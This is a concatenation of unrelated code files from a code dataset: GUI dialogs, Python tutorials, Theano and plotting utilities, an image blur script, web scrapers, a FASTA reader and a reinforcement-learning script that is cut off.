self.valueList = wx.ListBox(self,armid.TRACE_LISTVALUES_ID,style=wx.LB_SINGLE)\n valueSizer.Add(self.valueList,1,wx.EXPAND)\n \n labelBox = wx.StaticBox(self,-1,'Label')\n labelBoxSizer = wx.StaticBoxSizer(labelBox,wx.HORIZONTAL)\n mainSizer.Add(labelBoxSizer,0,wx.EXPAND)\n self.labelCtrl = wx.TextCtrl(self,armid.TRACE_TEXTLABEL_ID,'')\n labelBoxSizer.Add(self.labelCtrl,1,wx.EXPAND)\n self.labelCtrl.Disable()\n\n buttonSizer = wx.BoxSizer(wx.HORIZONTAL)\n mainSizer.Add(buttonSizer,0,wx.ALIGN_CENTER)\n addButton = wx.Button(self,armid.TRACE_BUTTONADD_ID,\"Add\")\n buttonSizer.Add(addButton)\n cancelButton = wx.Button(self,wx.ID_CANCEL,\"Cancel\")\n buttonSizer.Add(cancelButton)\n self.SetSizer(mainSizer)\n\n wx.EVT_LISTBOX(self.dimensionList,armid.TRACE_LISTDIM_ID,self.onDimItemSelected)\n wx.EVT_LISTBOX(self.valueList,armid.TRACE_LISTVALUES_ID,self.onValueItemSelected)\n wx.EVT_BUTTON(self,armid.TRACE_BUTTONADD_ID,self.onAdd)\n wx.EVT_BUTTON(self,wx.ID_CANCEL,self.onClose)\n\n def onDimItemSelected(self,evt):\n valueIdx = self.valueList.GetSelection()\n self.valueList.Deselect(valueIdx)\n self.theToDimension = self.dimensionList.GetStringSelection()\n if (self.theToDimension == 'requirement'):\n self.labelCtrl.Enable()\n else:\n self.labelCtrl.Disable()\n\n if (self.theToDimension):\n dimensionValues = self.dbProxy.getDimensionNames(self.theToDimension,self.theEnvironmentName)\n self.valueList.Set(dimensionValues)\n\n def onValueItemSelected(self,evt):\n self.theSelectedValue = self.valueList.GetStringSelection()\n\n def toDimension(self): return self.theToDimension\n def fromDimension(self): \n if (self.isFromIndicator == True): \n return self.toDimension()\n\n def toValue(self): return self.theSelectedValue\n\n def label(self): return self.labelCtrl.GetValue()\n\n def toId(self):\n return self.dbProxy.getDimensionId(self.theSelectedValue,self.theToDimension)\n \n \n def onAdd(self,evt):\n if len(self.theToDimension) == 0:\n dlg = wx.MessageDialog(self,'No target dimension has been selected','Add trace',wx.OK)\n dlg.ShowModal()\n dlg.Destroy()\n return\n elif (len(self.theSelectedValue) == 0):\n dlg = wx.MessageDialog(self,'No dimension value has been selected','Add trace',wx.OK)\n dlg.ShowModal()\n dlg.Destroy()\n return\n else:\n idx = self.dimensionList.GetSelection()\n self.dimensionList.Deselect(idx)\n idx = self.valueList.GetSelection()\n self.valueList.Deselect(idx)\n self.EndModal(armid.TRACE_BUTTONADD_ID)\n\n def onClose(self,evt):\n idx = self.dimensionList.GetSelection()\n self.dimensionList.Deselect(idx)\n self.EndModal(wx.ID_CLOSE)\n","sub_path":"cairis/cairis/TraceExplorer.py","file_name":"TraceExplorer.py","file_ext":"py","file_size_in_byte":4893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"488551174","text":"'''\nmain.py /* 当前文件名 */\nCourse10_类与对象 /* 当前工程名 */\n\nCreated by SuHan on January, 21 2016. /* 创建日期 */\nCopyright (c) 2016年 www.china-node.com. All rights reserved. /* 版权说明 */\n'''\n'''\n1.抽象的概念\n 类和对象都是哲学思想中的两个基本概念\n\n 类代表: 集合,抽象,描述\n 对象代表: 单个,具体,实在\n\n 类具有两种元素:属性,方法\n 对象是构成世界的基本单位\n\n 实例:电脑,CPU,主板,内存,制图,开发,计算\n'''\n\nif True:\n class PC():\n #为PC类设置属性,并为属性赋值\n def __init__(self,cpu,board,ram,name='None'):\n self.cpu = cpu\n self.board = board\n self.ram = ram\n self.name = name\n\n def set_name(self,name):\n self.name = name\n\n #为PC类添加方法\n def get_para(self):\n print('hostname:%s\\ncpu:%d\\nboard:%s\\nram:%d\\n'%(self.name,self.cpu,self.board,self.ram))\n\n def drawing(self,object):\n ram_need = 2048\n if self.ram < ram_need:\n print(\"%s less of ram to drawing. %d at least!\"%(self.name,ram_need))\n else:\n print('A '+object+' has been drawn!')\n def calculate(self,fun):\n res = fun()\n cpu_need = 4500\n if res < 100:\n print(\"%s calculate %s : %d\"%(self.name,fun.__name__,res))\n else:\n if self.cpu < 4500:\n print(\"%s's cpu can't support %s. at least %d\"%(self.name,fun.__name__,cpu_need))\n else:\n print(\"%s calculate %s : %d\"%(self.name,fun.__name__,res))\n #类的继承\n class NOTEBOOK(PC):\n pass\n\n\n #创建两个pc对象pc01,pc02\n pc1 = PC(cpu=4400,board='board1',ram=4094)\n pc2 = PC(cpu=4900,board='board2',ram=1024)\n #通过方法打印pc的属性\n pc1.set_name('pc1')\n pc1.get_para()\n pc2.set_name('pc2')\n pc2.get_para()\n print('######################')\n #测试不同pc的绘图方法\n pc1.drawing('cat')\n pc2.drawing('dog')\n #测试不同pc的计算方法\n def fun01():\n return 10*9\n def fun02():\n return 10*11\n pc1.calculate(fun01)\n pc1.calculate(fun02)\n pc2.calculate(fun01)\n pc2.calculate(fun02)\n print('######################')\n #测试继承效果\n notebook01 = NOTEBOOK(cpu=4700,board='board3',ram=9600,name='note01')\n notebook01.get_para()\n\nelse:\n pass","sub_path":"Course10_类与对象.py","file_name":"Course10_类与对象.py","file_ext":"py","file_size_in_byte":2567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"211224422","text":"import theano.tensor as T\nfrom theano import function\n\n\"\"\"\ndemo for how to define a loss function using Theano\n\"\"\"\n\n#binary cross entropy\na1 = T.dmatrix('a1')\na2 = T.dmatrix('a2')\nf_a = T.nnet.binary_crossentropy(a1, a2).mean()\nf_sigmoid = function([a1, a2], [f_a])\nprint(\"Binary Cross Entropy [[0.01,0.01,0.01]],[[0.99,0.99,0.01]]:\", f_sigmoid([[0.01,0.01,0.01]],[[0.99,0.99,0.01]]))\n\n#categorical cross entropy\nb1 = T.dmatrix('b1')\nb2 = T.dmatrix('b2')\nf_b = T.nnet.categorical_crossentropy(b1, b2)\nf_sigmoid = function([b1,b2], [f_b])\nprint(\"Categorical Cross Entropy [[0.01,0.01,0.01]],[[0.99,0.99,0.01]]:\", f_sigmoid([[0.01,0.01,0.01]],[[0.99,0.99,0.01]]))\n\n#squared error\ndef squared_error(x, y):\n return (x-y)**2\n\nc1 = T.dmatrix('d1')\nc2 = T.dmatrix('d2')\nf_c = squared_error(c1, c2)\nf_squared_error = function([c1, c2], [f_c])\nprint(\"Squared Error [[0.01,0.01,0.01]],[[0.99,0.99,0.01]]:\", f_squared_error([[0.01,0.01,0.01]],[[0.99,0.99,0.01]]))\n","sub_path":"theano_demo/theano_sample7.py","file_name":"theano_sample7.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"486934154","text":"import sys\nimport math\n\ndef pix_rows(pixels, width, height):\n pixel_list = []\n for num in range(height):\n pixel_list.append(pixels[width * num: width * (num + 1)])\n return pixel_list\n\n\ndef pix_cols(pix_rows, width):\n pixel_list = []\n for num in range(len(pix_rows[0])):\n pix = []\n for idx in range(len(pix_rows)):\n pix.append(pix_rows[idx][num])\n pixel_list.append(pix)\n return pixel_list\n \ndef cols_to_rows(pixels):\n pixel_list = []\n for num in range(len(pixels[0])):\n pix = []\n for idx in range(len(pixels)):\n pix.append(pixels[idx][num])\n pixel_list.append(pix)\n return pixel_list\n\n\n\ndef main():\n try:\n file = open(sys.argv[1], 'r')\n blur_factor = int(sys.argv[2])\n except IndexError:\n blur_factor = 4\n except ValueError:\n print('Usage: python3 blur.py []')\n exit()\n except FileNotFoundError:\n print('Unable to open {0}'.format(sys.argv[1]))\n exit()\n\n blurred = open('blurred.ppm', 'w')\n\n blurred.write(file.readline())\n\n wxh = (file.readline())\n wxh_list = wxh.split(' ')\n width = int(wxh_list[0])\n height = int(wxh_list[1])\n blurred.write(wxh)\n\n blurred.write(file.readline())\n \n\n pixel_string = file.readline()\n pixel_string.strip()\n pixel_list = pixel_string.split(' ')\n\n \n#GROUP PIXELS\n#=============================================================\n\n pixels = []\n for row in range(height):\n for col in range(width):\n pixel = []\n\n while len(pixel) < 3:\n if len(pixel_list) == 0:\n pixel_string = file.readline()\n pixel_string.strip()\n pixel_list = pixel_string.split(' ')\n elif len(pixel_list) == 1 and pixel_list[0] == '':\n Pixel_string = file.readline()\n pixel_string.strip()\n pixel_list = pixel_string.split(' ')\n else:\n pixel.append(pixel_list.pop(0))\n\n\n #distance = math.sqrt(((height - row) - point_row)**2 + ((width - col) - column)**2)\n #scaler = (rad - distance) / rad\n red = int(pixel.pop(0))\n green = int(pixel.pop(0))\n blue = int(pixel.pop(0))\n #if scaler < .2:\n # scaler = .2\n #scaled_red = float(red) * scaler\n #scaled_green = float(green) * scaler\n #scaled_blue = float(blue) * scaler\n pixel = [red, green, blue]\n pixels.append(pixel)\n \n\n\n pixel_rows = pix_rows(pixels, width, height)\n max_pixels = ((blur_factor * 2) + 1) ** 2\n for row in range(height):\n print(row)\n for col in range(width):\n in_range = []\n\n#REMOVE UNEEDED ROWS\n#===============================================================\n\n for idx in range(len(pixel_rows[:row + blur_factor])):\n if abs(row - idx) <= blur_factor:\n in_range.append(pixel_rows[idx])\n\n pixel_cols = pix_cols(in_range, width)\n in_range1 = []\n\n#REMOVE UNEEDED COLUMNS\n#================================================================\n\n for idx in range(len(pixel_cols)):\n if abs(col - idx) <= blur_factor:\n in_range1.append(pixel_cols[idx])\n\n pixel_rows1 = cols_to_rows(in_range1) \n\n#LIST OF TOTAL VALUES PER COLOR\n#=================================================================\n\n total_val = [0, 0, 0]\n for item in range(len(pixel_rows1)):\n for pixel in range(len(pixel_rows1[0])):\n total_val[0] += pixel_rows1[item][pixel][0]\n total_val[1] += pixel_rows1[item][pixel][1]\n total_val[2] += pixel_rows1[item][pixel][2]\n#CALCULATE AVG VALUES\n#=================================================================\n avg_val = [0, 0, 0]\n for idx in range(3):\n avg_val[idx] = total_val[idx] / max_pixels\n\n#WRITE TO BLURRED\n#=================================================================\n\n for item in avg_val:\n blurred.write(str(int(item)) + ' ')\n\n\n\n\n file.close()\n blurred.close()\n\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"blur.py","file_name":"blur.py","file_ext":"py","file_size_in_byte":4359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"517410296","text":"from spoon_server.proxy.provider import Provider\nfrom spoon_server.util.html_parser import get_html_tree\n\n\nclass GouProvider(Provider):\n def __init__(self, url_list=None):\n super(Provider, self).__init__()\n if not url_list:\n self.url_list = self._gen_url_list()\n\n @staticmethod\n def _gen_url_list(page=2):\n base_url_list = [\"http://www.goubanjia.com/free/gngn/index{0}.shtml\",\n \"http://www.goubanjia.com/free/gwgn/index{0}.shtml\",\n \"http://www.goubanjia.com/free/gwpt/index{0}.shtml\"]\n\n url_list = [url.format(j) for url in base_url_list for j in range(1, page)]\n return url_list\n\n @Provider.provider_exception\n def getter(self):\n for url in self.url_list:\n tree = get_html_tree(url)\n if tree is None:\n continue\n px_segment = tree.xpath(\"//table[@ class='table']/tbody/tr\")\n for px in px_segment:\n yield \"\".join(px.xpath(\n \"./td[@class='ip']/span/text() | ./td[@class='ip']/div/text()|./td[@class='ip']/text()\"))\n\n\nif __name__ == \"__main__\":\n kd = GouProvider()\n try:\n for proxy in kd.getter():\n print(proxy)\n except Exception as e:\n print(e)\n","sub_path":"spoon_server/proxy/gou_provider.py","file_name":"gou_provider.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"311841754","text":"\ndef gen_code(lis):\n #client stub\n import socket\n HOST = \"\"\n PORT = 9851\n client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n client.connect((HOST, PORT))\n out_data = lis[0]+\" \"+lis[1]+\" \"+lis[2]\n\n client.sendall(bytes(out_data,'UTF-8'))\n in_data = client.recv(1024)\n client.close()\n f=open(\"temp.py\",\"w\")\n f.write(\"def fun\"+\"(a,b):\\n\")\n f.write(\"\\t\"+\"return \"+in_data.decode())\n f.close()\n","sub_path":"2019202009/codegen.py","file_name":"codegen.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"641252464","text":"import os\n\nimport setuptools\n\nVERSION = '0.4.10'\nDESCRIPTION = 'Strava Command-Line Tools'\n\nhere = os.path.abspath(os.path.dirname(__file__))\nwith open(os.path.join(here, 'README.md'), encoding='utf-8') as f:\n long_description = f.read()\n\nsetuptools.setup(\n python_requires='>=3.0',\n name='strava-cli',\n description=DESCRIPTION,\n long_description=long_description,\n long_description_content_type='text/markdown',\n version=VERSION,\n author='Bartlomiej Wilczynski',\n author_email='me@bwilczynski.com',\n url='https://github.com/bwilczynski/strava-cli',\n packages=setuptools.find_packages(),\n install_requires=[\n 'backports.zoneinfo==0.2.1',\n 'certifi==2020.12.5',\n 'chardet==3.0.4',\n 'click==7.1.2',\n 'click-option-group==0.5.2',\n 'dateparser==1.0.0',\n 'idna==2.8',\n 'numpy==1.19.5',\n 'oauthlib==3.1.0',\n 'pandas==1.2.0',\n 'python-dateutil==2.8.1',\n 'pytz==2020.5',\n 'regex==2020.11.13',\n 'requests==2.22.0',\n 'requests-oauthlib==1.3.0',\n 'six==1.15.0',\n 'strava-cli==0.4.10',\n 'tabulate==0.8.7',\n 'tzlocal==3.0b1',\n 'urllib3==1.25.11',\n ],\n entry_points='''\n [console_scripts]\n strava=strava.cli.cli:cli\n ''',\n include_package_data=True,\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"474040379","text":"from scipy.stats import skew, kurtosis, norm, iqr, stats\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os \nfrom math import sqrt\nfrom sklearn.metrics import mean_squared_error\n\ndef make_residual_plot(actual,\n predicted, \n bins,\n file_name,\n xlabel,\n labelsize = 15,\n titlesize= 15,\n legendsize= 15,\n ticksize = 15,\n figsize = (8,8)):\n \n graph_output_path = os.path.join(os.getcwd(), \n 'output_rs_learn',\n 'graphs')\n \n if not os.path.exists(graph_output_path):\n os.makedirs(graph_output_path) \n \n f = plt.figure(figsize = figsize)\n \n #compute metrics\n error = predicted - actual\n error_ave = error.mean()\n error_std = error.std()\n error_min = error.min()\n error_max = error.max()\n error_iqr = iqr(error)\n error_q1 = np.quantile(error, 0.25)\n error_q3 = np.quantile(error, 0.75)\n ll = error_q1 - (1.5 * error_iqr)\n ul = error_q3 + (1.5 * error_iqr) \n rmse = sqrt(mean_squared_error(actual, predicted)) \n dist_error_bins = bins \n# predicted_ave = predicted.mean()\n\n \n #scatter \n grid = plt.GridSpec(8, 8, \n hspace = 0.2, \n wspace = 0.05)\n \n main_ax = f.add_subplot(grid[:-1, 1:])\n y_hist = f.add_subplot(grid[:-1, 0], \n sharey = main_ax) \n \n #make zero line \n main_ax.axhline(0, \n color = 'r', \n linestyle = '-', \n linewidth = 1,\n label = 'zero line') \n \n #make outlier line\n main_ax.axhline(ll, \n color = 'r', \n linewidth = 1,\n linestyle = '--', \n label = '1.5 IQR')\n \n main_ax.axhline(ul, \n color = 'r', \n linestyle = '--', \n linewidth = 1)\n \n #make +/- rmse line\n main_ax.axhline(-rmse, \n color = 'b', \n linewidth = 1,\n linestyle = ':', \n label = 'rmse: +/- %.2f'%rmse)\n\n main_ax.axhline(rmse, \n color = 'b', \n linewidth = 1,\n linestyle = ':')\n\n #plot data\n main_ax.scatter(predicted, \n error,\n marker = 's',\n color = 'k',\n facecolors = 'None',\n linewidth = 1,\n s = 25)\n# main_ax.set_xticks(fontsize = ticksize)\n #hide y axis\n main_ax.axes.get_yaxis().set_visible(False)\n \n #show ave of predicted\n# j = main_ax.scatter(predicted_ave, \n# 0,\n# color = 'green',\n# alpha = 1,\n# marker = 'o',\n# linewidth = 2)\n#\n# j.set_zorder(20)\n \n# txt =' Predicted_μ: %.2f'%predicted_ave \n# \n# props = dict(boxstyle = 'round', \n# facecolor = 'w', \n# alpha = 1)\n \n# main_ax.text(predicted_ave, \n# 0, \n# txt, \n# fontsize = 8,\n# bbox = props)\n \n #put text\n txt = 'ε_μ: %.2f,ε_σ: %.2f \\nε_min: %.2f, ε_max: %.2f'%(error_ave,\n error_std,\n error_min,\n error_max) \n \n # #make psuedo element to add to legend\n main_ax.axvline(0, \n alpha = 0,\n label = txt) \n\n main_ax.legend(loc = 'best',\n framealpha = 0.9,\n fontsize = legendsize,\n facecolor = 'grey')\n\n #distribution error\n n, bins, patches = y_hist.hist(error, \n bins = dist_error_bins, \n density = 1, \n facecolor = 'white', \n edgecolor = 'k', \n linewidth = 1,\n orientation='horizontal')\n\n y_hist.invert_xaxis()\n \n y_hist.axhline(0, \n color = 'r', \n linestyle = '-', \n linewidth = 1)\n \n y_hist.axes.get_xaxis().set_visible(False)\n \n #put xy labels, title, and legend\n main_ax.set_xlabel(xlabel, \n fontsize = labelsize)\n main_ax.tick_params(labelsize = ticksize)\n# main_ax.title\n plt.xticks(fontsize = ticksize)\n plt.yticks(fontsize = ticksize)\n\n\n# m = plt.legend(loc = 'best',\n# framealpha = 0.9,\n# fontsize = legendsize,\n# facecolor = 'grey')\n \n# m.set_zorder(21)\n \n y_hist.set_ylabel('Errors', \n fontsize = labelsize)\n \n main_ax.set_title('Error distribution and residual plot', \n loc = 'left',\n fontsize = titlesize)\n \n main_ax.set_xlim(predicted.min(),\n predicted.max())\n f.tight_layout()\n #save figure\n plt.savefig(os.path.join(graph_output_path,\n '%s_residuals.png'%file_name),\n dpi = 300)\n \n plt.show()\n\n\n# import pandas as pd\n# df = pd.read_csv(\"sample_dataframe.csv\")\n# make_residual_plot(df.iloc[:,0], \n # df.iloc[:,1],\n # bins = 50,\n # file_name = 'chla-results2',\n # xlabel = 'Chlorophyll (u/L)',\n # labelsize = 18,\n # titlesize= 18,\n # legendsize= 20,\n # ticksize = 20,\n # figsize = (10,10))\n\n\n\n\n#make_scatter(df.iloc[:,0], \n# df.iloc[:,1],\n# file_name = 'test',\n# xlabel = 'Prediction',\n# ylabel = 'Actual',\n# title = 'Actual vs. Predicted',\n# labelsize = 15,\n# same_xy = [0,100],\n## show_ave = True,\n# rmse = True,\n## show_ave = False,\n## rmse = False\n# )\n\n","sub_path":"make_residual_plot.py","file_name":"make_residual_plot.py","file_ext":"py","file_size_in_byte":6197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"181148014","text":"import scrapy\nfrom scrapy import Selector\nfrom scrapy_splash import SplashRequest, SplashTextResponse\n\nfrom ..items import Crawlencuentra24Item\n\nclass Ecncuentra24Spider(scrapy.Spider):\n name = 'Encuentra24Spider'\n start_urls = ['https://www.encuentra24.com/costa-rica-en/searchresult/real-estate-for-sale#search=f_currency.crc®ionslug=san-jose-san-jose-capital&page=1']\n BASE_URL = 'https://www.encuentra24.com'\n\n lua_script = '''\nfunction main(splash, args)\n assert(splash:go(args.url))\n wait_for_element(splash, '.location a', 10)\n btn = splash:select('.location a')\n btn:mouse_click()\n splash:wait(4)\n --wait_for_element(splash, '.place-name div', 10)\n return splash:html()\nend\n\nfunction wait_for_element(splash, css, maxwait)\n if maxwait == nil then\n maxwait = 10\n end\n local exit = false\n local time_chunk = 0.2\n local time_passed = 0\n while (exit == false)\n do\n local element = splash:select(css)\n if element then\n exit = true\n elseif time_passed >= maxwait then\n exit = true\n error('Timed out waiting for -' .. css)\n else\n splash:wait(time_chunk)\n time_passed = time_passed + time_chunk\n end\n end\nend\n'''\n\n def start_requests(self):\n for url in self.start_urls:\n yield SplashRequest(url=url, callback=self.parse, endpoint='render.html', args={'wait': 10})\n\n def parse(self, response):\n anuncios = Crawlencuentra24Item()\n\n todos_los_anuncions = response.css(\"article\")\n\n for anuncio in todos_los_anuncions:\n anuncios['titulo'] = anuncio.css(\"strong::text\").extract()\n anuncios['ubicacion'] = anuncio.css(\".ann-info-item::text\").extract()\n anuncios['precio'] = anuncio.css(\".ann-price-2nd div::text\").extract()\n anuncios['metrosCuadrados'] = anuncio.css(\".icon-area+ .value::text\").extract()\n anuncios['habitaciones'] = anuncio.css(\".icon-category-home+ .value::text\").extract()\n anuncios['descripcion'] = anuncio.css(\".ann-box-desc::text\").extract()\n\n link_anuncio = anuncio.css(\".ann-box-title::attr(href)\").get()\n\n yield SplashRequest(url=self.BASE_URL + link_anuncio, callback=self.parse_anuncio, endpoint='execute', args={'wait': 1, 'lua_source': self.lua_script})\n\n yield anuncios\n\n def parse_anuncio(self, response):\n selector = Selector(text=response.body)\n coordenadas = selector.css('.place-name::text').extract_first()\n print(coordenadas)\n","sub_path":"CrawlEncuentra24/spiders/Encuentra24Spider.py","file_name":"Encuentra24Spider.py","file_ext":"py","file_size_in_byte":2567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"439005523","text":"# -*- coding:UTF-8 -*-\nimport xlrd\n\nfrom DeleteSheetAnalyzer import DeleteSheetAnalyzer\nfrom InsertSheetAnalyzer import InsertSheetAnalyzer\nfrom UpdateSheetAnalyzer import UpdateSheetAnalyzer\n\n# smd_file_path = \"/Users/RalphLee/Documents/Softwares/CoCall5/CoCall5_Files/袁博/单值代码申请(新)_glaj.xlsx\"\n# smd_file_path = \"/Users/RalphLee/Documents/Softwares/CoCall5/CoCall5_Files/刘阳-3/单值代码申请(新)--审批平台.xlsx\"\nsmd_file_path = \"/Users/RalphLee/Documents/Softwares/CoCall5/CoCall5_Files/魏蕾-1/单值代码申请(新).xlsx\"\n\ncode_type_for_insert = 11408888\n\n\ndef analyze_request_template(smd_path: str, code_type_for_insert: int):\n smd = xlrd.open_workbook(smd_path)\n insert_sheet_analyzer = InsertSheetAnalyzer(smd, \"增加\", code_type_for_insert)\n insert_sheet_analyzer.analyze_smd_sheet()\n\n update_sheet_analyzer = UpdateSheetAnalyzer(smd, \"修改\")\n update_sheet_analyzer.analyze_smd_sheet()\n\n delete_sheet_analyzer = DeleteSheetAnalyzer(smd, \"删除\")\n delete_sheet_analyzer.analyze_smd_sheet()\n\n\nanalyze_request_template(smd_file_path, code_type_for_insert)\n","sub_path":"ReferenceData/RequestTemplateAnalyzer/RequestTemplateAnalyzer.py","file_name":"RequestTemplateAnalyzer.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"187910839","text":"def fastaread(fpath):\r\n '''\r\n :param fpath: File pach\r\n :return: list of headers / list of sequences of FASTA-file\r\n '''\r\n f = open(fpath, 'r')\r\n headers = []\r\n seqs = []\r\n temp = ''\r\n for line in f:\r\n if line:\r\n if line[0] == '>':\r\n headers.append(line)\r\n if temp:\r\n seqs.append(temp)\r\n temp = ''\r\n else:\r\n temp += line.strip()\r\n seqs.append(temp.upper())\r\n return headers, seqs\r\n","sub_path":"assignment3/fastareader.py","file_name":"fastareader.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"617808097","text":"import os\nfrom openpyxl import Workbook\nimport pyperclip\n\n\ndef value_make(copied_value):\n '''클립보드에서 가져온 값 나눠주기(앞3자리 뺀값으로 list에 저장)'''\n divide_values = copied_value.split('미리보기')\n return divide_values\n\n\norigin_folder = 'D:\\\\'\nos.chdir(origin_folder)\nwb = Workbook()\nws = wb.active\nrow_num = 1\ncopy_v = pyperclip.paste()\ndivided_values = value_make(copied_value=copy_v)\nfor i in divided_values:\n if '재무회계팀' in i:\n print(i)\n\n\n\n","sub_path":"function_test/function_test.py","file_name":"function_test.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"322821814","text":"# https://oj.leetcode.com/problems/length-of-last-word/\n\nclass Solution:\n # @param s, a string\n # @return an integer\n def lengthOfLastWord(self, s):\n n = len(s)\n if n == 0:\n return 0\n\n # start, end is the start, end index of a word in s\n start, end = -1, -1\n for i, x in enumerate(s):\n if x.isalpha():\n if i == 0 or s[i-1] == ' ':\n start = i\n if i == n-1 or s[i+1] == ' ':\n end = i\n\n # not find a word\n if start == -1:\n return 0\n\n # find word\n return (end-start+1)\n","sub_path":"leetans/lengthOfLast.py","file_name":"lengthOfLast.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"291751945","text":"# Loading required libraries\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport torchvision.transforms as T\nfrom torch.utils.data import Dataset, DataLoader\nfrom tqdm import tqdm\n\n# if gpu is to be used\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n# device = torch.device(\"cpu\") # uncomment if you want to use CPU\nprint('Device used for training: ' + \"GPU\" if torch.cuda.is_available() else \"CPU\")\n\nimport gym\nfrom gym_minigrid.envs import EmptyEnv\nimport vizdoomgym\nimport math\nimport random\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom itertools import count\nfrom PIL import Image\nfrom skimage.transform import resize\nfrom arguments import get_args\n\n# Importing local packages\nfrom utils import *\nfrom replay_memory import *\nfrom networks import *\n\n#### Initializing required variables\n\nargs = get_args()\n# Environment params\nIMG_HEIGHT = 80\nIMG_WIDTH = 80\nENV_NAME = args.env\nenv = gym.make(ENV_NAME)\n\n# Memory buffer params\nMEMORY_SIZE = 5000\nPRIORITY_MEMORY_SIZE = 1000\n\n# Action selection params\nsteps_done = 0\nBATCH_SIZE = 4000\nGAMMA = 0.99\nEPS_START = 1\nEPS_END = 0.01\nEPS_DECAY = 2000\nTARGET_UPDATE = 20\nEPS = 1\n\n# Creating all the networks\ntnet = thetaNet().to(device)\ntnet2 = theta2Net().to(device)\nanet = alphaNet().to(device)\nwnet = wNet().to(device)\nanet_target = alphaNet().to(device)\nanet_target.load_state_dict(anet.state_dict())\nanet_target.eval() # CHECK: what this actually does\n\n# Creating the buffer objects (normal and reward scenarios)\nmemory = ReplayMemory(MEMORY_SIZE)\nmemory_win = ReplayMemory(PRIORITY_MEMORY_SIZE)\n\n# Defining loss functions and setting up variables to track loss\nloss = nn.MSELoss()\nloss_a = nn.MSELoss()\nloss_b = nn.MSELoss()\nL_r_vec = []\nL_m_vec = []\nL_a_vec = []\n\n# Optimization settings\ntw_params = list(tnet.parameters()) + list(tnet2.parameters()) + list(wnet.parameters())\noptimizer_tw = optim.Adam(tw_params, lr=50e-5)\noptimizer_a = optim.Adam(anet.parameters(), lr=25e-5)\n\n#### Defining required functions \n\ndef select_action(phi, w, greedy=False):\n \"\"\"Function to select action\n \n Inputs:\n phi -> abstracted states batch\n (tensor of size b x 512)\n w -> weights of the reward network\n (tensor of size 512: CHECK)\n greedy -> returns greedy action if true\n (can be used during testing phase)\n returns eps-greedy if False\n \"\"\"\n \n # Calculating greedy action\n with torch.no_grad():\n greedy_action = anet(phi).matmul(w).max(1)[1]\n \n if(greedy):\n return greedy_action\n \n global steps_done\n global EPS\n \n # recalculating epsilon value\n sample = random.random()\n EPS = EPS_END + (EPS_START - EPS_END) * math.exp(-1. * steps_done / EPS_DECAY)\n steps_done += 1\n \n # doing epsilon greedy\n if sample > EPS:\n with torch.no_grad():\n aout = anet(phi)\n return aout.matmul(w).max(1)[1]\n else:\n return torch.tensor([[random.randrange(n_actions)]], device=device, dtype=torch.long)\n\ndef optimize_model():\n \"\"\"Function that samples from buffer, estimates loss and backprops\n to update network parameters.\n \n \"\"\"\n \n # When memory is not ready, do nothing\n if (len(memory) < BATCH_SIZE) or (not memory_win.is_ready()):\n return\n \n # Training reward and reconstruction branches\n if(np.random.rand()>0.8): # winning samples 20% times this runs\n transitions, bs = memory_win.sample(BATCH_SIZE)\n \n else: # intermediate samples\n transitions, bs = memory.sample(BATCH_SIZE)\n \n # Putting data is neat format\n batch = Transition(*zip(*transitions))\n state_batch = torch.cat(batch.state)\n action_batch = torch.cat(batch.action)\n reward_batch = torch.cat(batch.reward)\n nstate_batch = torch.cat(batch.next_state)\n \n # Optimizing the reward and reconstruction branches\n L_r = F.smooth_l1_loss(reward_batch, wnet(tnet(nstate_batch)).squeeze(1))\n L_a = loss_a(state_batch, tnet2(tnet(state_batch))) + loss_b(nstate_batch, tnet2(tnet(nstate_batch)))\n L_r_vec.append(L_r.item())\n L_a_vec.append(L_a.item())\n L_ra = L_a + L_r\n optimizer_tw.zero_grad()\n L_ra.backward()\n optimizer_tw.step()\n \n \n # Sampling for buffer: for training SR branch\n transitions, bs = memory.sample(32)\n batch = Transition(*zip(*transitions))\n state_batch = torch.cat(batch.state)\n action_batch = torch.cat(batch.action)\n reward_batch = torch.cat(batch.reward)\n nstate_batch = torch.cat(batch.next_state)\n done_batch = torch.cat(batch.done)\n \n \n # Create a non-final state mask\n non_final_mask = torch.tensor(tuple(map(lambda s: s==0,\n batch.done)), device=device, dtype=torch.bool)\n non_final_next_states = torch.cat([s for en, s in enumerate(batch.next_state)\n if batch.done[en]==0])\n # Finding max actions for each batch\n action_max = anet(tnet(non_final_next_states)).matmul(wnet.head.weight.data.view(-1,1)).max(1)[1]\n # initialize them to values we need for terminal states\n next_state_ests = tnet(nstate_batch) \n # replace the values of non-terminal states based on update equation\n next_state_ests[non_final_mask] = anet_target(tnet(non_final_next_states))[torch.arange(0, 